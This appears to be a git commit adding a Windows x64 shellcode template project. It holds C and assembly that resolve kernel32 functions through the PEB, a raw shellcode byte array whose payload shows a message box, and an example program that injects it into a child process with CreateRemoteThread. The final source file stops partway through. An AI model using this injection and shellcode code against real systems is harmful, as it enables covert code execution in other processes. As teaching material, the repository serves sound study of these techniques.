Initial Commit

This commit is contained in:
Christoph Stiller
2019-07-20 06:35:21 +10:00
commit 8e11b27e0d
14 changed files with 1015 additions and 0 deletions
+7
View File
@@ -0,0 +1,7 @@
root = true
[*]
end_of_line = crlf
insert_final_newline = true
indent_style = space
indent_size = 2
+279
View File
@@ -0,0 +1,279 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
# Visual Studio 2015 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# DNX
project.lock.json
project.fragment.lock.json
artifacts/
*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# JustCode is a .NET coding add-in
.JustCode
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# TODO: Comment the next line if you want to checkin your web deploy settings
# but database connection strings (with potential passwords) will be unencrypted
#*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/packages/*
# except build/, which is used as an MSBuild target.
!**/packages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/packages/repositories.config
# NuGet v3's project.json files produces more ignoreable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
node_modules/
orleans.codegen.cs
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
*.mdf
*.ldf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# JetBrains Rider
.idea/
*.sln.iml
# CodeRush
.cr/
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
# Project & Solution Files
*.sln
*.vcxpro*
# Visual Studio Code configuration files
*.vscode/
# Makefile
Makefile
*.make
# Additional Files
mediaLib/lib/*.lib
htCodec/3rdParty/rans_static/lib/*
enc_temp_folder/*
builds/*
* Advisor Result*/
+3
View File
@@ -0,0 +1,3 @@
[submodule "premake"]
path = premake
url = https://github.com/rainerzufalldererste/premakeBuild.git
+188
View File
@@ -0,0 +1,188 @@
# Shellcode Template for Windows x64
An easily modifiable shellcode template that loads `LoadLibraryA` and `GetProcAddress` and exposes the `HMODULE` to `kernel32.dll` written in C.
There are a lot of comments in the `shellcode_template` function to better explain what's going on. If you don't want to clone the repository, here's the important part:
```c
// Load Process Environment Block.
PEB *pProcessEnvironmentBlock = (PEB *)__readgsqword(0x60);
// `pProcessEnvironmentBlock->Ldr->InMemoryOrderModuleList` contains a double linked list.
// `Flink` and `Blink` are the pointers to the next element.
//
// All Windows executables should have the following module order.
// 1. The module of the current executable.
// 2. `ntdll.dll` (`%windir%\System32\ntdll.dll`)
// 3. `kernel32.dll` (`%windir%\System32\kernel32.dll`)
//
// ... followed by other modules.
//
// In order to get the `GetProcAddress` function we need to therefore get the third item (`Flink->Flink->Flink`).
// We use the `CONTAINING_RECORD` macro to retrieve the associated table entry.
LDR_DATA_TABLE_ENTRY *pKernel32TableEntry = CONTAINING_RECORD(pProcessEnvironmentBlock->Ldr->InMemoryOrderModuleList.Flink->Flink->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
// We've ended up at the base address of `kernel32.dll`.
IMAGE_DOS_HEADER *pDosHeader = (IMAGE_DOS_HEADER *)pKernel32TableEntry->DllBase;
// In order to get the exported functions we need to go to the NT PE header.
IMAGE_NT_HEADERS *pNtHeader = (IMAGE_NT_HEADERS *)((uint8_t *)pDosHeader + pDosHeader->e_lfanew);
// From the NtHeader we can extract the virtual address of the export directory of this module.
IMAGE_EXPORT_DIRECTORY *pExports = (IMAGE_EXPORT_DIRECTORY *)((uint8_t *)pDosHeader + pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// The exports directory contains both a list of function _names_ of this module and the associated _addresses_ of the functions.
const int32_t *pNameOffsets = (const int32_t *)((uint8_t *)pDosHeader + pExports->AddressOfNames);
// We will use this struct to store strings.
// We are using a struct to make sure strings don't end up in another section of the executable where we wouldn't be able to address them in a different process.
struct
{
uint64_t text0, text1;
} x;
// We're now looking for the `GetProcAddress` function. Since there's no other function starting with `GetProcA` we'll just find that instead.
x.text0 = 0x41636F7250746547; // `GetProcA`
int32_t i = 0;
// We're just extracting the first 8 bytes of the strings and compare them to `GetProcA`. We'll find it eventually.
while (*(uint64_t *)((char *)pDosHeader + pNameOffsets[i]) != x.text0)
++i;
// We have found the index of `GetProcAddress`.
// Not let's get the function offsets in order to retrieve the location of `GetProcAddress` in memory.
const int32_t *pFunctionOffsets = (const int32_t *)((uint8_t *)pDosHeader + pExports->AddressOfFunctions);
typedef FARPROC(*GetProcAddressFunc)(HMODULE, const char *);
GetProcAddressFunc pGetProcAddress = (GetProcAddressFunc)(const void *)((uint8_t *)pDosHeader + pFunctionOffsets[i]);
// Now that we've got `GetProcAddress`, let's use it to get `LoadLibraryA`.
// A HMODULE is just a pointer to the base address of a module.
HMODULE kernel32Dll = (HMODULE)pDosHeader;
// Get `LoadLibraryA`.
x.text0 = 0x7262694C64616F4C; // `LoadLibr`
x.text1 = 0x0000000041797261; // `aryA\0\0\0\0`
typedef HMODULE(*LoadLibraryAFunc)(const char *);
LoadLibraryAFunc pLoadLibraryA = (LoadLibraryAFunc)pGetProcAddress(kernel32Dll, (const char *)&x.text0);
```
There's also an example application that demonstrates how the generated shellcode can be executed inside a child process.
### Get Started
```bash
git clone https://github.com/rainerzufalldererste/windows_x64_shellcode_template.git
cd windows_x64_shellcode_template
git submodule update --init --recursive
create_project.bat
```
Choose your compiler toolset. (VS 2015 / VS 2017)
The `shellcode_template` project includes everything to start developing custom shellcode.
### How to retrieve the shellcode?
There are many ways to retrieve the generated shellcode. An easy way is to just paste your code into an online compiler like [godbolt.org](https://godbolt.org/) and copy the generated MSVC assembly (ie. `x64 msvc v19.21`) into an online assembler like [https://defuse.ca/online-x86-assembler.htm](https://defuse.ca/online-x86-assembler.htm). Then just copy the generated shellcode.
You will probably have to clean up the assembly a bit, like this:
```asm
x$ = 32
void shellcode_template(void) PROC ; shellcode_template, COMDAT
$LN10:
mov QWORD PTR [rsp+8], rbx
push rdi
sub rsp, 48 ; 00000030H
mov rax, QWORD PTR gs:96
xor edx, edx
mov r9, 4711732171926431047 ; 41636f7250746547H
mov rcx, QWORD PTR [rax+24]
mov rax, QWORD PTR [rcx+32]
mov rcx, QWORD PTR [rax]
mov rax, QWORD PTR [rcx]
mov rdi, QWORD PTR [rax+32]
movsxd rax, DWORD PTR [rdi+60]
mov r8d, DWORD PTR [rax+rdi+136]
mov eax, DWORD PTR [r8+rdi+32]
add rax, rdi
movsxd rcx, DWORD PTR [rax]
cmp QWORD PTR [rcx+rdi], r9
je SHORT $LN3@shellcode_
npad 2
$LL2@shellcode_:
movsxd rcx, DWORD PTR [rax+4]
lea rax, QWORD PTR [rax+4]
inc edx
...
```
can through a bit of find and replace be turned into this:
```asm
shellcode_template:
mov qword ptr [rsp+8], rbx
push rdi
sub rsp, 48
mov rax, qword ptr gs:96
xor edx, edx
mov r9, 4711732171926431047
mov rcx, qword ptr [rax+24]
mov rax, qword ptr [rcx+32]
mov rcx, qword ptr [rax]
mov rax, qword ptr [rcx]
mov rdi, qword ptr [rax+32]
movsxd rax, dword ptr [rdi+60]
mov r8d, dword ptr [rax+rdi+136]
mov eax, dword ptr [r8+rdi+32]
add rax, rdi
movsxd rcx, dword ptr [rax]
cmp qword ptr [rcx+rdi], r9
je short _function_found
; `npad 2` can be turned into two `nop`s.
nop
nop
_check_next_function_name:
movsxd rcx, dword ptr [rax+4]
lea rax, qword ptr [rax+4]
inc edx
...
```
### Just interested in the generated shellcode?
This is the example shellcode. It performs the following actions:
+ It finds `GetProcAddress` in `kernel32.dll`,
+ retrieves `LoadLibraryA` from `kernel32.dll`,
+ loads `user32.dll`,
+ retrieves `MessageBoxA` from `user32.dll`,
+ displays a message box,
+ retrieves `ExitProcess` from `kernel32.dll`,
+ calls `ExitProcess`.
```
0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60,
0x00, 0x00, 0x00, 0x31, 0xD2, 0x49, 0xB9, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x48,
0x8B, 0x48, 0x18, 0x48, 0x8B, 0x41, 0x20, 0x48, 0x8B, 0x08, 0x48, 0x8B, 0x01, 0x48, 0x8B, 0x78,
0x20, 0x48, 0x63, 0x47, 0x3C, 0x44, 0x8B, 0x84, 0x38, 0x88, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x44,
0x38, 0x20, 0x48, 0x01, 0xF8, 0x48, 0x63, 0x08, 0x4C, 0x39, 0x0C, 0x39, 0x74, 0x12, 0x90, 0x90,
0x48, 0x63, 0x48, 0x04, 0x48, 0x8D, 0x40, 0x04, 0xFF, 0xC2, 0x4C, 0x39, 0x0C, 0x39, 0x75, 0xF0,
0x41, 0x8B, 0x4C, 0x38, 0x1C, 0x48, 0xB8, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x48,
0x01, 0xF9, 0x48, 0x63, 0xD2, 0x48, 0x63, 0x1C, 0x91, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0x01,
0xFB, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x89, 0xF9, 0x48, 0xC7, 0x44, 0x24, 0x28, 0x61, 0x72,
0x79, 0x41, 0xFF, 0xD3, 0x48, 0xB9, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x48, 0xC7,
0x44, 0x24, 0x28, 0x6C, 0x6C, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x4C, 0x24,
0x20, 0xFF, 0xD0, 0x48, 0xB9, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x48, 0xC7, 0x44,
0x24, 0x28, 0x6F, 0x78, 0x41, 0x00, 0x48, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x54, 0x24, 0x20,
0x48, 0x89, 0xC1, 0xFF, 0xD3, 0x48, 0xB9, 0x48, 0x61, 0x73, 0x74, 0x61, 0x20, 0x6C, 0x61, 0x4C,
0x8D, 0x44, 0x24, 0x2F, 0x48, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0xB9,
0x20, 0x76, 0x69, 0x73, 0x74, 0x61, 0x21, 0x00, 0x45, 0x31, 0xC9, 0x48, 0x89, 0x4C, 0x24, 0x28,
0x31, 0xC9, 0xFF, 0xD0, 0x48, 0xB8, 0x45, 0x78, 0x69, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x48, 0xC7,
0x44, 0x24, 0x28, 0x65, 0x73, 0x73, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0x89, 0x44, 0x24,
0x20, 0x48, 0x89, 0xF9, 0xFF, 0xD3, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x48, 0x8B, 0x5C,
0x24, 0x40, 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC2, 0x00, 0x00
```
+47
View File
@@ -0,0 +1,47 @@
@ECHO OFF
IF [%1]==[] GOTO MANUAL_CONFIG
IF "%1"=="1" GOTO ONE;
IF "%1"=="2" GOTO TWO;
IF "%1"=="3" GOTO THREE;
IF "%1"=="4" GOTO FOUR;
ECHO INVALID PARAMETER (%1)
:MANUAL_CONFIG
ECHO 1. Visual Studio 2017 Solution
ECHO 2. Visual Studio 2015 Solution
ECHO 3. Visual Studio 2013 Solution
ECHO 4. gmake2 Makefile
CHOICE /N /C:1234 /M "[1-4]:"
IF ERRORLEVEL ==4 GOTO FOUR
IF ERRORLEVEL ==3 GOTO THREE
IF ERRORLEVEL ==2 GOTO TWO
IF ERRORLEVEL ==1 GOTO ONE
GOTO END
:FOUR
ECHO Creating gmake2 Makefile...
premake\premake5.exe gmake2
GOTO END
:THREE
ECHO Creating VS2013 Project...
premake\premake5.exe vs2013
GOTO END
:TWO
ECHO Creating VS2015 Project...
premake\premake5.exe vs2015
GOTO END
:ONE
ECHO Creating VS2017 Project...
premake\premake5.exe vs2017
GOTO END
:END
+51
View File
@@ -0,0 +1,51 @@
ProjectName = "child_process"
project(ProjectName)
--Settings
kind "ConsoleApp"
language "C"
flags { "StaticRuntime", "FatalWarnings" }
defines { "_CRT_SECURE_NO_WARNINGS" }
objdir "intermediate/obj"
files { "src/**.c", "src/**.cpp", "src/**.h", "src/**.inl", "src/**rc" }
files { "project.lua" }
includedirs { "src" }
targetname(ProjectName)
targetdir "../../builds/bin"
debugdir "../../builds/bin"
filter { "configurations:Debug", "system:Windows" }
ignoredefaultlibraries { "libcmt" }
filter { }
filter {}
configuration {}
warnings "Extra"
filter {"configurations:Release"}
targetname "%{prj.name}"
filter {"configurations:Debug"}
targetname "%{prj.name}D"
filter { }
flags { "NoPCH" }
exceptionhandling "Off"
rtti "Off"
floatingpoint "Fast"
filter { "configurations:Debug*" }
defines { "_DEBUG" }
symbols "FastLink"
filter { "configurations:Release" }
defines { "NDEBUG" }
optimize "Speed"
flags { "NoFramePointer", "NoBufferSecurityCheck", "NoIncrementalLink" }
editandcontinue "Off"
symbols "On"
+19
View File
@@ -0,0 +1,19 @@
#include <stdint.h>
#include <stdio.h>
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
int32_t main()
{
int32_t lives = 60;
while (--lives)
{
puts("Ah, ha, ha, ha, stayin' alive, stayin' alive");
Sleep(1000);
}
return 0;
}
+53
View File
@@ -0,0 +1,53 @@
ProjectName = "host_process"
project(ProjectName)
--Settings
kind "ConsoleApp"
language "C"
flags { "StaticRuntime", "FatalWarnings" }
dependson { "child_process" }
defines { "_CRT_SECURE_NO_WARNINGS" }
objdir "intermediate/obj"
files { "src/**.c", "src/**.cpp", "src/**.h", "src/**.inl", "src/**rc" }
files { "project.lua" }
includedirs { "src" }
targetname(ProjectName)
targetdir "../../builds/bin"
debugdir "../../builds/bin"
filter { "configurations:Debug", "system:Windows" }
ignoredefaultlibraries { "libcmt" }
filter { }
filter {}
configuration {}
warnings "Extra"
filter {"configurations:Release"}
targetname "%{prj.name}"
filter {"configurations:Debug"}
targetname "%{prj.name}D"
filter { }
flags { "NoPCH" }
exceptionhandling "Off"
rtti "Off"
floatingpoint "Fast"
filter { "configurations:Debug*" }
defines { "_DEBUG" }
symbols "FastLink"
filter { "configurations:Release" }
defines { "NDEBUG" }
optimize "Speed"
flags { "NoFramePointer", "NoBufferSecurityCheck", "NoIncrementalLink" }
editandcontinue "Off"
symbols "On"
+105
View File
@@ -0,0 +1,105 @@
#include <stdint.h>
#include <inttypes.h>
#include <stdio.h>
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <memoryapi.h>
const uint8_t shellcode[] = {
0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60,
0x00, 0x00, 0x00, 0x31, 0xD2, 0x49, 0xB9, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x48,
0x8B, 0x48, 0x18, 0x48, 0x8B, 0x41, 0x20, 0x48, 0x8B, 0x08, 0x48, 0x8B, 0x01, 0x48, 0x8B, 0x78,
0x20, 0x48, 0x63, 0x47, 0x3C, 0x44, 0x8B, 0x84, 0x38, 0x88, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x44,
0x38, 0x20, 0x48, 0x01, 0xF8, 0x48, 0x63, 0x08, 0x4C, 0x39, 0x0C, 0x39, 0x74, 0x12, 0x90, 0x90,
0x48, 0x63, 0x48, 0x04, 0x48, 0x8D, 0x40, 0x04, 0xFF, 0xC2, 0x4C, 0x39, 0x0C, 0x39, 0x75, 0xF0,
0x41, 0x8B, 0x4C, 0x38, 0x1C, 0x48, 0xB8, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x48,
0x01, 0xF9, 0x48, 0x63, 0xD2, 0x48, 0x63, 0x1C, 0x91, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0x01,
0xFB, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x89, 0xF9, 0x48, 0xC7, 0x44, 0x24, 0x28, 0x61, 0x72,
0x79, 0x41, 0xFF, 0xD3, 0x48, 0xB9, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x48, 0xC7,
0x44, 0x24, 0x28, 0x6C, 0x6C, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x4C, 0x24,
0x20, 0xFF, 0xD0, 0x48, 0xB9, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x48, 0xC7, 0x44,
0x24, 0x28, 0x6F, 0x78, 0x41, 0x00, 0x48, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x54, 0x24, 0x20,
0x48, 0x89, 0xC1, 0xFF, 0xD3, 0x48, 0xB9, 0x48, 0x61, 0x73, 0x74, 0x61, 0x20, 0x6C, 0x61, 0x4C,
0x8D, 0x44, 0x24, 0x2F, 0x48, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0xB9,
0x20, 0x76, 0x69, 0x73, 0x74, 0x61, 0x21, 0x00, 0x45, 0x31, 0xC9, 0x48, 0x89, 0x4C, 0x24, 0x28,
0x31, 0xC9, 0xFF, 0xD0, 0x48, 0xB8, 0x45, 0x78, 0x69, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x48, 0xC7,
0x44, 0x24, 0x28, 0x65, 0x73, 0x73, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0x89, 0x44, 0x24,
0x20, 0x48, 0x89, 0xF9, 0xFF, 0xD3, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x48, 0x8B, 0x5C,
0x24, 0x40, 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC2, 0x00, 0x00
};
#ifdef _DEBUG
const char childProcessName[] = "child_processD.exe";
#else
const char childProcessName[] = "child_process.exe";
#endif
uint64_t AlignTo2k(const uint64_t value)
{
return (value + (uint64_t)(2048 - 1)) & ~((uint64_t)(2048 - 1));
}
//////////////////////////////////////////////////////////////////////////
#pragma warning (push, 0)
int32_t main()
{
STARTUPINFOA startupInfo;
PROCESS_INFORMATION processInfo;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
startupInfo.cb = sizeof(startupInfo);
ZeroMemory(&processInfo, sizeof(PROCESS_INFORMATION));
if (!CreateProcessA(childProcessName, "", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &startupInfo, &processInfo))
{
printf("Failed to launch process. (Error code %" PRIu32 ")\n", GetLastError());
return -1;
}
Sleep(2000); // Let the child process live for a while.
void *pData = VirtualAllocEx(processInfo.hProcess, NULL, AlignTo2k(sizeof(shellcode)), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pData == NULL)
{
printf("Failed to allocate memory in child process. (Error code %" PRIu32 ")\n", GetLastError());
return -1;
}
size_t bytesWritten = 0;
if (!WriteProcessMemory(processInfo.hProcess, pData, shellcode, sizeof(shellcode), &bytesWritten) || bytesWritten != sizeof(shellcode))
{
printf("Failed to write shellcode to child process memory. (Error code %" PRIu32 ")\n", GetLastError());
return -1;
}
DWORD threadId = 0;
if (!CreateRemoteThread(processInfo.hProcess, NULL, 0, (PTHREAD_START_ROUTINE)pData, NULL, 0, &threadId))
{
printf("Failed to create remote thread. (Error code %" PRIu32 ")\n", GetLastError());
return -1;
}
WaitForSingleObject(processInfo.hThread, INFINITE); // This should not be able to fail.
DWORD exitCode = 0;
if (!GetExitCodeProcess(processInfo.hProcess, &exitCode))
{
printf("Failed to retrieve exit code. (Error code %" PRIu32 ")\n", GetLastError());
return -1;
}
printf("Remote Thread terminated with exit code %" PRIu32 ".\n", exitCode);
CloseHandle(processInfo.hThread);
CloseHandle(processInfo.hProcess);
return 0;
}
#pragma warning (pop)
Submodule
+1
Submodule premake added at 1e3e269a7d
+11
View File
@@ -0,0 +1,11 @@
solution "shellcode_template"
editorintegration "On"
platforms { "x64" }
configurations { "Debug", "Release" }
dofile "shellcode_template/project.lua"
group "example"
dofile "example/host_process/project.lua"
dofile "example/child_process/project.lua"
@@ -0,0 +1,77 @@
public shellcode_template
.code
shellcode_template:
mov qword ptr [rsp+8], rbx
push rdi
sub rsp, 48
mov rax, qword ptr gs:96
xor edx, edx
mov r9, 4711732171926431047
mov rcx, qword ptr [rax+24]
mov rax, qword ptr [rcx+32]
mov rcx, qword ptr [rax]
mov rax, qword ptr [rcx]
mov rdi, qword ptr [rax+32]
movsxd rax, dword ptr [rdi+60]
mov r8d, dword ptr [rax+rdi+136]
mov eax, dword ptr [r8+rdi+32]
add rax, rdi
movsxd rcx, dword ptr [rax]
cmp qword ptr [rcx+rdi], r9
je short _function_found
nop
nop
_check_next_function_name:
movsxd rcx, dword ptr [rax+4]
lea rax, qword ptr [rax+4]
inc edx
cmp qword ptr [rcx+rdi], r9
jne short _check_next_function_name
_function_found:
mov ecx, dword ptr [r8+rdi+28]
mov rax, 8242266044863967052
add rcx, rdi
movsxd rdx, edx
movsxd rbx, dword ptr [rcx+rdx*4]
lea rdx, qword ptr 32[rsp]
add rbx, rdi
mov qword ptr 32[rsp], rax
mov rcx, rdi
mov qword ptr 32[rsp+8], 1098478177
call rbx
mov rcx, 7218762449265455989
mov qword ptr 32[rsp+8], 27756
mov qword ptr 32[rsp], rcx
lea rcx, qword ptr 32[rsp]
call rax
mov rcx, 4784343847397451085
mov qword ptr 32[rsp+8], 4290671
mov qword ptr 32[rsp], rcx
lea rdx, qword ptr 32[rsp]
mov rcx, rax
call rbx
mov rcx, 7020021522101395784
lea r8, qword ptr 32[rsp+15]
mov qword ptr 32[rsp], rcx
lea rdx, qword ptr 32[rsp]
mov rcx, 9395827011843616
xor r9d, r9d
mov qword ptr 32[rsp+8], rcx
xor ecx, ecx
call rax
mov rax, 7165071222045767749
mov qword ptr 32[rsp+8], 7566181
lea rdx, qword ptr 32[rsp]
mov qword ptr 32[rsp], rax
mov rcx, rdi
call rbx
mov ecx, -1
call rax
mov rbx, qword ptr [rsp+64]
add rsp, 48
pop rdi
ret 0
end
+51
View File
@@ -0,0 +1,51 @@
ProjectName = "shellcode_template"
project(ProjectName)
--Settings
kind "ConsoleApp"
language "C"
flags { "StaticRuntime", "FatalWarnings" }
defines { "_CRT_SECURE_NO_WARNINGS" }
objdir "intermediate/obj"
files { "src/**.c", "src/**.cpp", "src/**.h", "src/**.inl", "src/**rc" }
files { "project.lua" }
includedirs { "src" }
targetname(ProjectName)
targetdir "../builds/bin"
debugdir "../builds/bin"
filter { "configurations:Debug", "system:Windows" }
ignoredefaultlibraries { "libcmt" }
filter { }
filter {}
configuration {}
warnings "Extra"
filter {"configurations:Release"}
targetname "%{prj.name}"
filter {"configurations:Debug"}
targetname "%{prj.name}D"
filter { }
flags { "NoPCH" }
exceptionhandling "Off"
rtti "Off"
floatingpoint "Fast"
filter { "configurations:Debug*" }
defines { "_DEBUG" }
symbols "FastLink"
filter { "configurations:Release" }
defines { "NDEBUG" }
optimize "Speed"
flags { "NoFramePointer", "NoBufferSecurityCheck", "NoIncrementalLink" }
editandcontinue "Off"
symbols "On"
+123
View File
@@ -0,0 +1,123 @@
#include <stdint.h>
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#pragma warning (push, 0)
#include <winternl.h>
// This is the shellcode template function.
// Modify it to make it fit your needs.
//
// Keep in mind:
// Don't call any functions that you didn't load here (like CRT functions). If you want to split up your shellcode into multiple functions make sure to use `__declspec(forceinline)`.
__declspec(noinline) void shellcode_template()
{
// Depending on your target you might have to 16-bit align stack pointer. Just place `and rsp, 0fffffffffffffff0h` after the initial `sub rsp XXXX` that will be generated at the start of the function.
// Load Process Environment Block.
PEB *pProcessEnvironmentBlock = (PEB *)__readgsqword(0x60);
// `pProcessEnvironmentBlock->Ldr->InMemoryOrderModuleList` contains a double linked list.
// `Flink` and `Blink` are the pointers to the next element.
//
// All Windows executables should have the following module order.
// 1. The module of the current executable.
// 2. `ntdll.dll` (`%windir%\System32\ntdll.dll`)
// 3. `kernel32.dll` (`%windir%\System32\kernel32.dll`)
//
// ... followed by other modules.
//
// In order to get the `GetProcAddress` function we need to therefore get the third item (`Flink->Flink->Flink`).
// We use the `CONTAINING_RECORD` macro to retrieve the associated table entry.
LDR_DATA_TABLE_ENTRY *pKernel32TableEntry = CONTAINING_RECORD(pProcessEnvironmentBlock->Ldr->InMemoryOrderModuleList.Flink->Flink->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
// We've ended up at the base address of `kernel32.dll`.
IMAGE_DOS_HEADER *pDosHeader = (IMAGE_DOS_HEADER *)pKernel32TableEntry->DllBase;
// In order to get the exported functions we need to go to the NT PE header.
IMAGE_NT_HEADERS *pNtHeader = (IMAGE_NT_HEADERS *)((uint8_t *)pDosHeader + pDosHeader->e_lfanew);
// From the NtHeader we can extract the virtual address of the export directory of this module.
IMAGE_EXPORT_DIRECTORY *pExports = (IMAGE_EXPORT_DIRECTORY *)((uint8_t *)pDosHeader + pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// The exports directory contains both a list of function _names_ of this module and the associated _addresses_ of the functions.
const int32_t *pNameOffsets = (const int32_t *)((uint8_t *)pDosHeader + pExports->AddressOfNames);
// We will use this struct to store strings.
// We are using a struct to make sure strings don't end up in another section of the executable where we wouldn't be able to address them in a different process.
struct
{
uint64_t text0, text1;
} x;
// We're now looking for the `GetProcAddress` function. Since there's no other function starting with `GetProcA` we'll just find that instead.
x.text0 = 0x41636F7250746547; // `GetProcA`
int32_t i = 0;
// We're just extracting the first 8 bytes of the strings and compare them to `GetProcA`. We'll find it eventually.
while (*(uint64_t *)((char *)pDosHeader + pNameOffsets[i]) != x.text0)
++i;
// We have found the index of `GetProcAddress`.
// Not let's get the function offsets in order to retrieve the location of `GetProcAddress` in memory.
const int32_t *pFunctionOffsets = (const int32_t *)((uint8_t *)pDosHeader + pExports->AddressOfFunctions);
typedef FARPROC(*GetProcAddressFunc)(HMODULE, const char *);
GetProcAddressFunc pGetProcAddress = (GetProcAddressFunc)(const void *)((uint8_t *)pDosHeader + pFunctionOffsets[i]);
